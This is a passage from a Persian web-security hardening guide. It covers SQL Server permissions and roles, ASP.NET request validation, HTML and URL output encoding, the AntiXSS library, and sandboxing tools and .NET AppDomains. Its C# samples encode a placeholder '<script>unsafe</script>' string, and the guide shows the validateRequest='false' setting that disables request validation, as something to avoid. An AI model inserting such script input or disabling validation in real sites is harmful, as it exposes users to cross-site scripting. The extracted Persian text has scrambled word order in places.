شود. هر نقش، مجوزهای ذاتی مربوط به خود را در نظر گرفته می Publicدسترسی دارد، تحت عنوان نقش 

 انجام دهد. دادهپایگاهتواند در یک هر عملیاتی را می DBAدارد، به عنوان مثال نقش 

 دادهپایگاهاضافه کردن یک کاربر به یک 

وجود ندارد. بنابراین در قدم اول  دادهپایگاهدسترسی کاربر به  یاجازه 1تنها با انجام عملیات وارد شدن

 زیر انجام داد:  SQLبا فرمان  توانمیممکن گردد. این عمل را  دادهپایگاهبایست دسترسی به می

CREATE USER Olle FOR LOGIN Olle; 

 Olleنماید. در این مثال کاربر شود، ایجاد میاین فرمان یک کاربر جدید را در پایگاهی که در آن اجرا می

گردد. اما این حساب ایجاد شده تا چند عملیات دیگر نیز بر ایجاد می Olleبرای ورود به حساب کاربری 

 روی آن انجام نشود، کارایی نخواهد داشت.

 SQLریت مجوزهای مدی

استفاده کرد و یا از  SQL Server Management Studioاز  توانمی، یا SQLبرای مدیریت مجوزهای 

. اطلاع و استفاده از این دستورات بسیار سودمند است REVOKEو  SQL ،GRANT ،DENYدستورات 

ارد و تحت کنترل منبع قرار گیرند شده، که بایدذخیرههای رویهرا به عنوان اسکریپت در  هاآن توانمیزیرا 

 نمود.

، داده Puckبرای کاربر مهمان به نام  Exampleبه نام  دیدیبه جدول یا  SELECTدر مثال زیر مجوز 

، ترکیبی از نام دستگاه و حساب ویندوز است موردنظرشود. نام کامل حساب مهمان ویندوز در دستگاه می

 (PUCK\Guestشوند. )مانند جدا می \که با 

GRANT SELECT ON Example TO PUCK\Guest 

 : شودمیاز دستور زیر استفاده  SELECTبرای رد مجوز 

DENY SELECT ON Example TO Olle 

 شود:برای لغو مجوزی که قبلاً اختصاص یافته است، از دستور زیر استفاده می

REVOKE SELECT ON Example TO Olle 
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ها، مسدود شده باشد، به این رویهگونه که قبلاً پیشنهاد شده بود، دسترسی به جداول از طریق هماناما اگر، 

به  EXECUTEبایست مجوز میمعناست که شما هیچ مجوز جدولی را اعطا نخواهید کرد. در عوض، 

 بینیم:ذخیره شده، داده شود. که در مثال زیر می یرویه

GRANT EXECUTE ON GetLogins TO Olle 

 ها گروهها و نقش

هایی مجوز، برای هر نقش مشخص مجوز یهمانند تمامی مجوزها، بهتر است به جای تخصیص جداگانه

را ایجاد کنید، کاربران را به  دادهپایگاههای کند تا نقشاین امکان را برای شما فراهم می SQLتعیین گردد. 

 SQLبا استفاده از توانمیها را را تخصیص دهید. نقش موردنظرمجوزهای  هاآنآن اضافه کرده و برای 

Management Studio  و یا با استفاده از دستوراتSQL .زیر ایجاد کرد 

CREATE ROLE auditors AUTHORIZATION db_owner; 

 ایجاد auditorsها یا متعلق به یک کاربر خاص بوده و یا به یک نقش دیگر. در مثال قبل نقشی با نام نقش

به  دادهپایگاه، که صاحب SQLباشد. یک نقش ساخته شده در می db_ownerشده است که متعلق به نقش 

 اضافه کرد: موردنظرکاربران را به نقش  توانمیآن تعلق دارد. با فرمان زیر هم 

EXEC sp_addrolemember 'auditors', 'PhilHa' 

به جای کاربران  توانیدمی. سپس شما شودمیاضافه  auditorsبه گروه  PhiHaبا این فرمان حساب کاربری 

 ها اعطا کنید: آنمشخص، حقوقی را از کل گروه گرفته، یا به 

GRANT EXECUTE ON ReadAuditLogin TO auditors 

 های با حداقل امتیازاتحساب

ما با وجود حملات انگیز باشد، ا، به برنامه وب شاید بسیار وسوسهدادهپایگاهاعطای قابلیت کنترل کامل 

ها که برای کار کردن برنامه بایست کمترین امتیازات و مجوزاین کار بسیار خطرناک است و می SQLتزریق 

 است، به آن اختصاص یابد. موردنیاز

نیاز به نوشتن داده داشته باشید، بسیار کم  کهایننویسید، احتمال به عنوان مثال، اگر شما برنامه گزارشی می

ابراین نباید قابلیت نوشتن داده به برنامه اعطا شود. به علاوه ممکن است در این برنامه جداول است. بن

اصلی نیاز به خواندن و نوشتن در این جداول نداشته باشد، اما  یگزارشی وجود داشته باشند، که برنامه

رنامه در نظر گرفته شود، مدیریت نیاز به انجام این عملیات داشته باشد. هر چه امتیازات بیشتری برای ب

ها به ، افزایش خواهد یافت. اگر تمامی دسترسیدادهپایگاهموفق علیه  یاحتمال به انجام رسیدن یک حمله

در مقابل جداول پایه  REVOKEتوان از مجوز پذیر باشد، میها و مجوزها امکانها از طریق رویهداده



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

125 

 

 
 

به این منظور که فقط مدیرها قابلیت دسترسی مستقیم به ، Publicاستفاده کرد، مانند تمامی حقوق نقش 

 جداول را داشته باشند.

 محدود کردن ورودی 4-۲-4

 ASP.NETاستفاده از اعتبارسنجي درخواست  

و  HTMLعناصر ، فرضپیشبه طور  2.0و  1.1های نسخه ASP.NETاعتبارسنجی درخواست در

شود تا کند. این ویژگی باعث می، پیدا میرگزارکاهای ارسالی به های رزرو شده را، درون دادهکاراکتر

های ورودی را از تواند تمامی دادهکاربران نتوانند اسکریپتی در برنامه وارد کنند. اعتبارسنجی درخواست می

 نظر دارا بودن مقادیر بالقوه خطرناک یک لیست کدشده را بررسی کند. اگر تطابقی صورت بگیرد،

exception  از نوعHttpRequestValidationException شوداعلام می. 

 عنصرپیکربندی برنامه با اضافه کردن یک  Web.configتوان اعتبارسنجی درخواست را در فایل می

<pages>  به همراهvalidateRequest="false" مجزا با تنظیم  یغیرفعال کرد و یا در یک صفحه

ValidateRequest="false"   عنصردر@ Pages  داد. انجام 

 Machine.configدر  ASP.NETاطمینان از فعال بودن اعتبارسنجي درخواست  

فرض را پیشاین تنظیمات  توانمیفعال است.  ASP.NETفرض در پیشاعتبارسنجی درخواست به صورت 

 مشاهده کرد. Machine.config.commentsدر فایل 

<pages validateRequest="true" ... /> 

 

درون فایل  فرضپیشاطمینان حاصل کنید که اعتبارسنجی درخواست با باطل کردن تنظیمات 

Machine.config و یا در فایل  کارگزارWeb.config .برنامه، غیرفعال نشده باشد 

 زیر را دنبال کرد:ها گامبه طور کلی برای محدود نمودن ورودی، باید 

  تنها به اعتبارسنجی سمت کاربر اعتمااد نکنیاد زیارا  :کارگزاراعتبارسنجي ورودی در سمت

از آن به سادگی عبور کرد. از اعتبارسنجی سامت کااربر در کناار اعتبارسانجی سامت  توانمی

کاهش یافته و تجریه کاربری بهباود پیادا  کارگزاراستفاده کنید تا مسیرهای برگشت به  کارگزار

 کند.
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  ،های شما برای یاک داده د که هر ورودی از ویژگی: مطمئن شویو نوع معتبر قالب، بازهطول

 کند.خوب، پیروی می

 مقادیر عددی را به انواع عددی داده تخصیص ها استفاده کنیداز نوع دهي محکمي برای داده :

ها را ها را اختصاص دهید و تاری ای مقادیر رشته. به انواع رشتهDoubleو  Integerدهید مانند 

  .DateTimeبه انواع 

 هستند، از کنترل  کارگزارکه شامل ورودی کنترل شده توسط  وبتحتهای برای برنامه

دی که از وهای وربرای محدود کردن ورودی استفاده کنید. برای داده ASP.NETاعتبارسنجی 

رودی و HTTP سرآیندهای و هاکوکی، QueryStringگیرند، مانند منابع دیگری سرچشمه می

، محدود System.Text.RegularExpressionsفضای نام از  Regexرا با استفاده از کلاس 

 کنید.

  با روشHtmlEncode ورودی را کدگذاری کنید. یرشته 

  از یکStringBuilder های کدگذاری استفاده کرده و روش جایگذاری آن را فراخوانی کنید تا

 را، به صورت انتخابی پاک کند. دهید، که شما اجازه میHTML عناصرروی 

 

 خروجي کدگذاری 5-۲-4

سایتی است( تبدیل ورودی غیرقابل بیننویسی هدف کدگذاری خروجی )به این دلیل که مربوط به اسکریپت

اعتماد به فرم ایمن است که در آن وردی به عنوان داده و بدون اجرا شدن در مرورگر، به کاربر نشان داده 

 .شودمی

 HtmlEncodeکدگذاری خروجي ناامن با استفاده از  

به عنوان روش  تابعشود. این ای مشخص اجرا میرشتهروی  HTML، کدگذاری HtmlEncodeدر روش 

وب، استفاده  یهای درخواستی کاربر، قبل از استفاده در برنامههای فرم و دیگر دادهسریع کدگذاری داده

آن تبدیل  HTMLباشند را به معادل کدگذاری شده  ناامنکه ممکن است هایی شود. کدگذاری، کاراکترمی

 HTMLEncodeنباشد،  DBCSیا  Double-Byte Character Setشود ای که کدگذاری میکند. اگر رشتهمی

 :دهدمیها را به روش زیر تغییر کاراکتر

  به  (>)از  ترکوچککاراکترهای&lt شوند.تبدیل می 
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  از به   (<)تر ازبزرگکاراکترهای&gt شوند.تبدیل می 

  به  (&)کاراکتر علامت&amp شود.تبدیل می 

  به  (")کاراکتر&quot شود.تبدیل می 

 0تر و یا مساوی هرکاراکتر که کد اسکی آن بزرگx80  باشد، به&#<number> شود که تبدیل می

 نشان دهنده مقدار کاراکتر اسکی است. <number>در آن

 این اسکریپت:

<%= Server.HTMLEncode("The paragraph tag: <P>") %>   

 :کندمیخروجی زیر را تولید 

The paragraph tag: &lt;P&gt; 

 :شودمیاین خروجی در یک مرورگر وب به صورت زیر نمایش داده 

The paragraph tag: <P> 

بلکه آن را به عنوان روش : کدگذاری خروجی را جایگزین بررسی ورودی از نظر قالب و صحت نکنید نکته

 ایمنی اضافی در نظر بگیرید.

به  ASP.NET ییک برنامه در زمان اجرا از برای دسترسی HttpServerUtility.HtmlEncode تابع

، به یک نمونه از ASP.NETوب  یمناسب است. در فایل کد یک صفحه  HttpUtility.HtmlEncodeتابع

دسترسی پیدا کرد. در کلاسی که درون فایل کد  توانمی Server ویژگیاز طریق  HttpServerUtilityکلاس 

 HttpServerUtilityبه کلاس  توانمی HttpContext.Current.Serverنیست، با استفاده از پشت صفحه 

 دست یافت.

دهنده چگونگی کدگذاری مقادیری هستند که ممکن است موجب تولید کدهای غیر امن های زیر نشانمثال

هایی که از کاربر یا وب وجود دارند. معمولاً داده ییک صفحه پشتهای کد ها عموماً در فایلد. این کدشون

 Literalاشاره به یک کنترل نتیجه کدگذاری خواهند شد.  HTMLشوند از روش از درخواست دریافت می

 دارد.

public partial class _Default : Page 

{         

   protected void Page_Load(object sender, EventArgs e) 

   { 

      Result.Text = Server.HtmlEncode("<script>unsafe</script>");       

   }  

} 
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دهد که کد پشت در کلاسی نشان میباشد با این تفاوت که کد شدن مقادیری را قبلی می یمثال بعدی مشابه

 .وب نیست ییک صفحه

public class SampleClass 

{ 

   public string GetEncodedText() 

   { 

      return 

 HttpContext.Current.Server.HtmlEncode("<script>unsafe</script>"); 

   } 

} 

 

 کارخواهکدگذاری کدهای سمت  1-1-5-۲-4

، زبان مورد استفاده همیشه جاوا اسکریپت است کارخواههنگام اجرای عملیات کدگذاری در کدهای سمت 

گذاری سمت هنگام کد کنند.در درون خود توابعی دارد که داده را در محتواهای مختلف، کدگذاری میکه 

استفاده کرد. به دلیل استفاده از  هاآنو قالب  کارگزار، باید از توابع موجود در زبان کدهای سمت کارگزار

توان جزلیات تمامی این ی، در این نوشتار نمکارگزارهای سمت های متفاوت در کدها و چارچوبزبان

ها را بررسی کرد. با این حال آشنایی با توابع کدگذاری جاوا اسکریپت که در سمت ها و چارچوبزبان

 مفید خواهد بود. کارگزارشوند، برای درک توابع سمت کاربر استفاده می

 های ذاتیو ویژگی هاابعتکنیم، های کاربر را کدگذاری میزمانی که با استفاده از جاوا اسکریپت، ورودی

 .کنندمی، کدگذاری هاآن زمینهها را با توجه به زیادی وجود دارند که به صورت خودکار تمامی داده

 با استفاده از جاوااسکریپت کارخواه: کدگذاری در سمت 3-4جدول 

 محتوا روش / خاصیت

node.textContent = userInput  عناصرمحتوای HTML 

element.setAttribute(attribute, userInput) 

 یا

element[attribute] = userInput 

 HTML صفاتمقدار 

window.encodeURIComponent(userInput)  مقدارUrl 

element.style.property = userInput  مقدارCss 

اسکریپت هیچ روش درونی برای  اسکریپت ذکر نشده است زیرا جاوا جاوا در جدول فوق زمینه مقادیر

 اسکریپت ندارد. های مشمول در کد منبع جاواکدگذاری داده
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 UrlEncodeکدگذاری خروجي ناامن با استفاده از  

ها استفاده کرد از جمله مقادیر URLتوان برای کدگذاری تمام می UrlEncode(String) تابعاز 

QueryStringجریان . اگر کاراکترهایی نظیر فاصله و علالم نگارشی در یک HTTP،  بدون کدگذاری رها

 URL، کاراکترهایی که درون URLشوند، ممکن است در هنگام دریافت به درستی تفسیر نشوند. کدگذاری 

، عملیات عکس URLکند. رمزگشایی معادل، تبدیل می مجازشوند را به کاراکترهای نامعتبر محسوب می

قرار  URLبرای ارسال درون بلوک متنی یک   < و >دهد. مثلاً هنگامی که کاراکترهای کدگذاری را انجام می

  شوند.کدگذاری می  3e%و   3c%گیرند، به صورت می

کدگذاری نمود. این دو  UrlPathEncode تابع او هم ب UrlEncode تابعتوان هم به وسیله را می URLیک 

هر کاراکتر فاصله تبدیل به یک کاراکتر مثبت  UrlEncodeکنند. در روش روش نتایج متفاوتی را تولید می

کند که در مبنای کد می "20%"هر فاصله را به صورت رشته  UrlPathEncode. اما روش شودمی (+)

 دهنده کاراکتر فاصله است.نشانشانزده 

استفاده کنید، تا  UrlPathEncode تابعکنید از را کدگذاری می URLکه بخش مسیر یک  بهتر است هنگامی

 دهد، دست پیدا کنید.تر، بدون وابستگی به ساختار مرورگری که رمزگشایی را انجام میبه رمزگشایی صحیح

ین علت با کند به هماستفاده می  UTF-8فرض از رمزگذاری پیشبه صورت  HttpUtility.UrlEncode تابع

به عنوان پارامتر دوم، به  UTF8و تعیین  UrlEncode، نتیجه مشابه استفاده از UrlEncodeاستفاده از روش 

 آید.دست می

در زمان اجرای برنامه  UrlEncode تابعمسیر مناسبی برای دسترسی به  HttpServerUtility.UrlEncode تابع

ASP.NET  .است 

به یک نمونه از کلاس  Server، از طریق ویژگی ASP.NETوب  یدر فایل کد پشت یک صفحه

HttpServerUtility از  وب نیست، یدسترسی پیدا کنید. در یک فایل که پشت یک صفحه

HttpContext.Current.Server ای از کلاس برای دسترسی به نمونهHttpServerUtitlity .استفاده کنید 

 استفاده کنید. WebUtilityخارج از یک برنامه کاربردی وب از کلاس برای کدگذاری یا رمزگشایی مقادیر 

. این کد در فایل دهدمیرا نشان  hyperlinkیک  درخواستمقادیر رشته  URLمثال زیر چگونگی کد کردن  

شوند از میگیرد. معمولاً مقادیری که از کاربر و یا درخواست، دریافت وب قرار می یکد پنهان یک صفحه

 اشاره دارد. HyperLinkبه یک کنترل  NextPageگردند. روش کدگذاری میاین 
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public partial class _Default : Page 

{ 

   protected void Page_Load(object sender, EventArgs e) 

   { 

       string destinationURL =  

       "http://www.contoso.com/default.aspx?user=test"; 

       NextPage.NavigateUrl = "~/Finish?url=" +  

       Server.UrlEncode(destinationURL); 

   }              

} 

پشت دهد که در فایل مثال بعدی مشابه مثال قبل است با این تفاوت که این روش را در کلاسی نشان می

 .وب نیست ییک صفحه

public class SampleClass 

{ 

   public string GetUrl() 

   { 

       string destinationURL = 

       "http://www.contoso.com/default.aspx?user=test"; 

       return "~/Finish?url=" +  

       HttpContext.Current.Server.UrlEncode(destinationURL); 

   } 

} 

 Anti-XSS یکتابخانه 6-۲-4

( یک ابزار مفید برای جلوگیری از انواع حملات The Anti-Cross Site Scripting ) AntiXSS یکتابخانه

 1حفاظتی وب یکتابخانه از بخشی AntiXSSبوده است.  ASP.NETهای سایتوباسکریپتی بر علیه 

(WPL )2اجرا زمان در امنیت موتور یک با همراه (SRE )است. SRE یک ماژول HTTP تواندمی که است 

معنی  بدان این موارد، کدگذاری کند. در اکثر های در معرض خطر رای خروجیهمه تقریبا خودکار طور به

 مایکروسافت .است شده گذاریکد شود،کاربر تولید می اطمینان قابل غیر ورودی از که خروجی هر است که

این امکان را  شما به ، منتشر کرده است که(MS-PL) آزاد مایکروسافتعمومی  مجوز تحت ابزار را این

 انجام دهید. این کتابخانه خواهید باعملی که می هر دهد کهمی

                                                   

 

 

1 Web Protection Library 

2 Security Runtime Engine 
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 جمله از کاربر، ورودی نوع هر برای گذاریکد توابع از ایمجموعه از متشکل است AntiXSS یکتابخانه

سفید استفاده  لیست یک . این کتابخانه ازJavaScript و HTML، XML، CSS، LDAP عناصر و صفات

است کدگذاری کند. این  نشده گنجانده سفید لیست آنیه را که در این هر کتابخانه شودمی باعث که کند،می

سایتی طراحی شده است. این حملات یکی بینحملات اسکریپت نویسی  برابر در حفاظت لیست به منظور

را بشکند و در آن وقفه ایجاد تواند یک برنامه هایی است که یک مهاجم با استفاده از آن میاز بدترین راه

 کند. 

 در NET Framework. از 4.5 ینسخه را در AntiXSS یکتابخانه هایویژگی مایکروسافت امروزه

namespace System.Web.Security.AntiXss شی یک طریق از قرار داده که AntiXssEncoder  به نمایش

 اما کنید، استفاده مختلف هایشیوه به داده کدگذاری برایها روش نوع این از توانیدمی شود. شماگذاشته می

 هایویژگی از استفاده برای ASP.NET برنامه یک پیکربندی کتابخانه، از استفاده برای راه ترینساده

AntiXSS ویژگی کردن اضافه با را این قابلیت توانیدمی شما .باشدمی فرضپیش به صورت  encoderType 

 نشان داده شده است: زیر مثال در که گونههمان دهید، انجام web.config در httpRuntime عنصر به

<httpRuntime ... 

    encoderType="System.Web.Security.AntiXss.AntiXssEncoder, 

    System.Web,Version=4.0.0.0,Culture=neutral, 

    PublicKeyToken=b03f5f7f11d50a3a" /> 

 : Anti-XSS یاستفاده از کتابخانهمزایای 

 سیستم بازنویسی شده است  کاراییبا در ذهن داشتن عملکرد و  این کتابخانه کاملاً :بهبود عملکرد

 کند.مین میضت xssکاربر را در مقابل حملات  یو حفاظت از برنامه

 نویسی بین اسکریپتها یک مکان جهانی هستند و موضوع حملات سایتوب :سازی امنجهاني

 Anti-XSSتواند در هرجایی نوشته شود و امروزه سایتی نیز یک مسئله جهانی است. یک حمله می

 کند. شوند حفاظت مینوشته می های مختلفیکه به زبان xssسایت شما را در مقابل حملات 

 ت. شما این کتابخانه مطابق با استانداردهای مدرن وب نوشته شده اس: استانداردها سازگاری با

 باشید. UIنگران تاثیر منفی آن بر روی  کهاینبه راحتی از این کتابخانه استفاده کنید بدون  توانیدمی

 Anti-XSS یکدگذاری خروجي با استفاده از کتابخانه 

باشد و به عبارت ها میرشته کدگذاریبرای هایی تابعدارای  System.Web.Security.AntiXssفضای نام 

در  .دهدمیخود در مقابل حملات اسکریپت نویسی بین سایتی یاری  سایتوبدیگر کاربر را در حفاظت از 
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 urlو  html، xml، cssیک رشته برای استفاده در وجود دارد که  AntiXssEncoderاین فضای نام یک کلاس 

 کند.کدگذاری می

 گذارد عبارتند از:در اختیار میو که کلاس فوق برای کدگذاری ی یهاتابعاز  برخی

 هاآنو کاربرد  AntiXssEncodeهای کلاس تابع: 4-4جدول 

 شرح  تابع

CssEncode  رشته را برای استفاده درCSS کندکدگذاری می. 

HtmlEncode  رشته را برای استفاده درHTML کند که آیا از کند و مشخص میکدگذاری می

 استفاده بشود یا خیر. HTML 4.0دار های نامموجودیت

HtmlAttributeEncode  برای استفاده در یک صفت رشته راHTML کندکدگذاری می. 

HtmlFormUrlEncode  رشته را برای استفاده در تحویل فرمی که نوعMIME  آنapplication/x-

www-form-urlencoded کند.است، کدگذاری می 

UrlEncode  رشته را برای استفاده در یکURL کند.آماده می 

XmlEncode  رشته را برای استفاده در صفاتXML کندکدگذاری می. 

XmlAttributeEncode  رشته را برای استفاده در صفاتXML کندکدگذاری می. 

3-4 Sandboxing 

Sandboxing عملیات اجرای کد در یک محیط امن محصور شده است، که مجوزهای داده شده به یک کد ،

شده دارید که منبع اصلی آن کاملاً مورد اعتماد مدیریتای کند. برای مثال اگر شما کتابخانهرا محدود می

قرار داده و تنها  سندباکسن کد را درون یک باید ای نیست، نباید آن را با اطمینان کامل اجرا نمایید، یعنی

 .(اجراها نیاز داشته باشد)مثلاً مجوز مجوزهایی را به آن اختصاص دهید که ممکن است به آن

 سندباکسکنید، از کدهایی که در یک محیط نسبتاً قابل اعتماد منتشر می آزمونبرای  توانیدمیچنین هم

 استفاده نمایید.
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 Sandboxing :Sandboxieافزار نرم 1-3-4

Sandboxie مجازی به نام  یشما را در یک محیط ایزوله یبرنامهsandbox کند. تحت نظارت اجرا می

Sandboxieتواند اثرات دالمی روی آید، اما نمی، برنامه در حالت عادی و در بالاترین سرعت به اجرا در می

 باشند.معتبر می sandboxکامپیوتر شما باقی بگذارد و تغییرات تنها درون همان 

شود، اثری مانند نوشتن بر ای که اجرا میخود را به عنوان یک تکه کاغذ در نظر بگیرید. هر برنامه کامپیوتر

شود، روی به ازای هر سایتی که بازدید می کنید،گذارد. هنگامی که مرورگرتان را باز میروی کاغذ باقی می

کند تا اثر خود را روی کاغذ دالمی گذارد و هر بدافزاری که با آن مواجه شوید تلاش میکاغذ اثری باقی می

کردند تا هرگونه نوشته و اثری که افزارهای قدیمی حفظ حریم شخصی و ضد بدافزارها، تلاش میکند. نرم

شد را پاک نمایند، که البته در اکثر مواقع هم به درستی کشف سیستم انجام میدر نظرشان ناخواسته روی 

 ها وآموختند که دنبال چه نوع نوشتهمی هاآنبایست به افزارها هم میشدند. ولی اولاً سازندگان این نرممی

 Sandboxie زارافنرم سندباکسرا پاک کنند. از طرف دیگر محیط  هاآنچگونه  کهایناثراتی باشند و هم 

که  نویسندمیها روی این لایه شفاف کند. برنامهای شفاف که روی کاغذ قرار گرفته است، عمل میمانند لایه

کنید به مانند پاک کردن لایه را پاک می سندباکسدقیقاً همانند کاغذ اصلی است. هنگامی که شما  هاآنبرای 

  ند.ماشفاف است و کاغذ اصلی دست نخورده باقی می

Sandboxie سنتیهای ویروسآنتیبایست با ضد بدافزارها و به عنوان اولین خط دفاعی شما بوده و می ،

های تان از هر طریقی آلوده نشود. معمولاً در روشتا سیستم کنندمیها به شما کمک حلراهکامل شود. این 

های مخرب و دیگر تهدیدات، استفاده برنامههای مشخص به طرق مختلف برای یافتن سنتی از تطابق با الگو

 سندباکسکند که اجازه خروج در واقع نسبت به هیچ کدی آن قدر اطمینان پیدا نمی Sandboxieشد. اما می

که امروزه مورد توجه »افزارهای مخرب را تواند نرمرا به آن بدهد. استفاده از ترکیب این دو روش می

 از کامپیوتر شما دور نگاه دارد.  «اندهای ناشناس قرار گرفتهگروه

 sandboxieهای نیازمندی

Sandboxie  روی ویندوزXP ویندوز ،Vista به قابل اجراست. ) 10و ویندوز  8.1و  8، ویندوز 7، ویندوز

یا  مکهای عامل سیستم و یا در MEیا  ۹8، ۹5(. اما در ویندوزهای Metro(tile) Appsو  Edgeمرورگر  جز

های عامل کارگزار سیستمرا نباید در  Sandboxieباشد. به دلیل عدم پشتیبانی، قابل اجرا نمی لینوکس

 VMWare ،VirtualBox ،Apple) ماشین مجازیتوان در محیط را می Sandboxieنصب کرد. مایکروسافت 

BootCamp یم وجود ندارد. ها به صورت مستقای برای پشتیبانی این محیطو غیره( اجرا نمود. هیچ برنامه
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Sandboxie افزاری خاصی نیز ندارد. تنها به فضای بسیار کمی از حافظه نیاز است که نیاز به بستر سخت

 اثری روی کارایی سیستم نخواهد داشت.

 ؟کندمیشما محافظت  های مخرب ازkey-loggersدر مقابل  Sandboxieآیا 

( Sandboxieجواب به این سوال تا حدودی مثبت است. اول این نکته مهم است که سیستم شما )بیرون از 

-keyتوانایی محافظت از سیستم در برابر  Sandboxieها آلوده نشده باشد زیرا key-loggerقبلاً به 

logger .هایی که از قبل موجود باشند را ندارد 

انجام دهید تا مانع  sandboxید که تمامی عملیات مرور وب را درون ممکن است این فرض را در نظر بگیر

ها کار بسیار key-loggerها به درون سیستم شوید. مطمئن شدن از کشف key-loggerورودی تصادفی 

دهد، پاک در اختیارتان قرار می هاآنبرای مقابله با  Sandboxieدشواری است بنابراین بهترین روشی که 

سپس  و کنیدها را متوقف میسندباکسهای درون تمامی است. هنگامی که شما همه فعالیت سندباکسکردن 

ها هم پاک key-loggerتوان مطمئن بود که تمامی کنید، به هیچ وجه نمیمورد استفاده را پاک می سندباکس

 . شوندمی

 Sandboxing :BufferZone Pro افزارنرم ۲-3-4

BUFFERZONE  چون همای ها در مقابل تهدیدات پیشرفتهها، از شرکتکامپیوترحل امنیت راهیاzero-

day ،drive-by download حملات ،phishing  وAPT کندمیها، محافظت .BUFFERZONE  با داشتن

تا در عین  کندمیمحفظه با مرزهای کاملاً مجزا، پل زدن و هوشمندی، این امکان را برای کارکنان فراهم 

 های جانبی داشته باشند.های اینترنتی، ایمیل و حافظه، دسترسی نامحدود به برنامهحفظ امنیت شرکت

های قدیمی حلراهتر شدن هستند، دیگر با جایی که تهدیدات سایبری به سرعت در حال پیشرفتهآناز 

در حال های های کاربران را گرفت. تهدیدات امروزی در واقع هدفکامپیوتربه  هاآنتوان جلو نفوذ نمی

 BUFFERZONEرا حتی با دقت کامل هم کشف کرد. به همین دلیل  هاآنتوان حرکتی هستند که نمی

های مجازی های جانبی در محیطکند: ایزوله کردن مرورگرها، ایمیل و حافظهروش دیگری را دنبال می

 در مقابل نفوذ. کامپیوترهامربوط به خودشان و در نتیجه محافظت از 

BUFFERZONE های برای کاربران به معنای دسترسی شفاف به اطلاعات است. برای تیمIT امنیت ،

تر فراهم کند، بنابراین امکان توجه به مسالل مهمتر میهای نادرست سادهها را در عین کاهش اعلانکامپیوتر

 شود. می
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کند محافظت میمحتوای هر منبعی که ممکن است ناامن تلقی شود را  BUFFERZONEمجازی  یانباره

 BUFFERZONE یهای جانبی. به وسیلهو حتی حافظه Skype ،FTPمانند مرورگرهای وب، ایمل، 

را با توجه به سگمنت شبکه، محل فایل یا برچسب، امضای دیجیتال  بندی شدههای مهار دانهتوان سیاستمی

 تعیین کرد. URL/IPو منبع 

BUFFERZONE تهدیدات را از دیگر  جداسازیتوانایی  فاف بوده وهم برای برنامه و هم کاربر، ش

د تمامی محیط برنامه را ایزوله کند، هم حافظه و توانمی BUFFERZONEهای یک کامپیوتر داراست. بخش

حفظه ها، رجیستری و دسترسی به شبکه. هر گونه تلاش برای آلوده کردن سیستم به مرزهای مهم فایل

 .شودمیجلوگیری  کامپیوترهامحدود شده و از رسیدن آن به 

BUFFERZONE  ها از بدافزارها و در نتیجه حداکثر ساختن حل کامل برای پاک نگاه داشتن ترمینالراهیک

 BUFFERZONEحل امنیتی پیشرفته راه. امکانات آیدمیبه حساب  ITشفافیت برای کاربران و کنترل برای 

 :به شرح زیرند اندشدهنشان داده  .Error! Reference source not foundکه در شکل 

 مانند  بالقوه خطرناکاز  ن مجازی برای دسترسی به هر محتوا: یک محیط اممحفظه مجازی

 و ایمیل. های قابل جداسازیرسانهمرورگرهای اینترنت، 

 ی محفظه است که باعث امکان همکاری هاداده: یک فرآیند قابل پیکربندی برای جداسازی امن پل

 .شودمیها و تضمین امنیت و انطباق، بین افراد و سیستم

 مدیریت رویدادها و اطلاعات امنیتی با استفاده از  سازییکپارچهدهی دقیق و گزارش مندی:هوش

(SIEM) انجام شده.های بزرگ برای تشخیص حملات و تجزیه تحلیل داده 

 

 BUFFERZONE: امکانات امنیتي پیشرفته  5-4شکل 
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 نتدر چارچوب دات سندباکسنویسي برنامهواسط  3-3-4

 سندباکس مراحل زیر را اجرا کنید:اجرای یک برنامه درون یک برای 

ای که ، ایجاد نمایید. حداقل اجازهدهیدمی نامطمئنی هابرنامهبه  اعطا مجموعه مجوزها را برای .1

توانید مجوزهای دیگری نیز که فکر است. علاوه بر این، می اجراتوانید اختصاص دهید، مجوز می

خطر است را به مجموعه اضافه نمایید. برای مثال ، بینامطمئنهای به برنامه هاآنکنید اعطای می

IsolatedStorageFilePermission کند:را ایجاد می اجرا. کد زیر یک مجموعه، تنها با مجوز 

PermissionSet permSet = new PermissionSet(PermissionState.None); 

permSet.AddPermission(new 

SecurityPermission(SecurityPermissionFlag.Execution)); 

اند، مانند مجموعه مجوزهای مشخصی که از قبل ایجاد شده توانید ازبه جای روش قبل می چنینهم

Internet .استفاده کنید 

Evidence ev = new Evidence(); 

ev.AddHostEvidence(new Zone(SecurityZone.Internet)); 

PermissionSet internetPS = SecurityManager.GetStandardSandbox(ev); 

یا  رنتتاینموجود است، یا مجموعه مجوز  نوع منطقه که در شاهد، بسته GetStandardSandbox تابع

هویت هم برای کند. این روش هم چنین چند مجوز یرا به عنوان نتیجه تولید م اینترانت محلی یمجموعه

 کند.شوند، تولید میکه به عنوان مراجع، ارسال میشاهد  اشیا

را  نامطمئننام دارد.( و کد  Sandboxer)که در این مثال  است میزبانیاسمبلی را که شامل کلاس  .2

شود، به آرایه کردن اسمبلی استفاده می را که برای امضا نام قوی. ، امضا کنیدکندفراخوانی می

StrongName پارامتر مربوط به fullTrustAssemblies  فراخوانیCreateDomain .اضافه نمایید ،

های نیمه مطمئن را اجرا کرد بل اطمینان اجرا شود تا بتوان کدلاً قاباید به صورت کام کلاس میزبانی

یک اسمبلی را  نام قوی توانیدمیرسانی کرد. به روش زیر های از این نوع، خدماتو یا به برنامه

 بخوانید: 

StrongName fullTrustAssembly = 

typeof(Sandboxer).Assembly.Evidence.GetHostEvidence<StrongName>(); 

لاً قابل نیازی به اضافه شدن به لیست کام System.dllو  mscorlibمانند  نتهای چارچوب داتاسمبلی

 شوند.می بارگذاریبه همین صورت  اطمینان ندارند زیرا از کش سراسری اسمبلی
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مقدار اولیه اختصاص دهید. به  CreateDomain تابعمربوط به  AppDomainSetup پارامتربه  .3

باشد. جدید، قابل کنترل می AppDomainاین پارامتر بسیاری از تنظیمات  یوسیله

ApplicationBase بایست با ویژگی بسیار مهمی است و میApplicationBase  مربوط به

AppDomain تواند میزبان را برنامه میزبان، متفاوت باشد. در غیر این صورت، برنامه ناشناس می

خطاهای تعریف شده توسط خود کرده ) تحت عنوان برنامه کاملاً قابل اعتماد(  بارگذاریمجبور به 

 شود.نمییا توصیه  catchو در نتیجه آن را آلوده نماید. این هم دلیل دیگری است که استفاده از 

شود، اجرا می sandboxای که درون برنامه میزبان و برنامه هایApplicationBaseتنظیم متفاوت 

 را از بین خواهد برد. سواستفادهخطر 

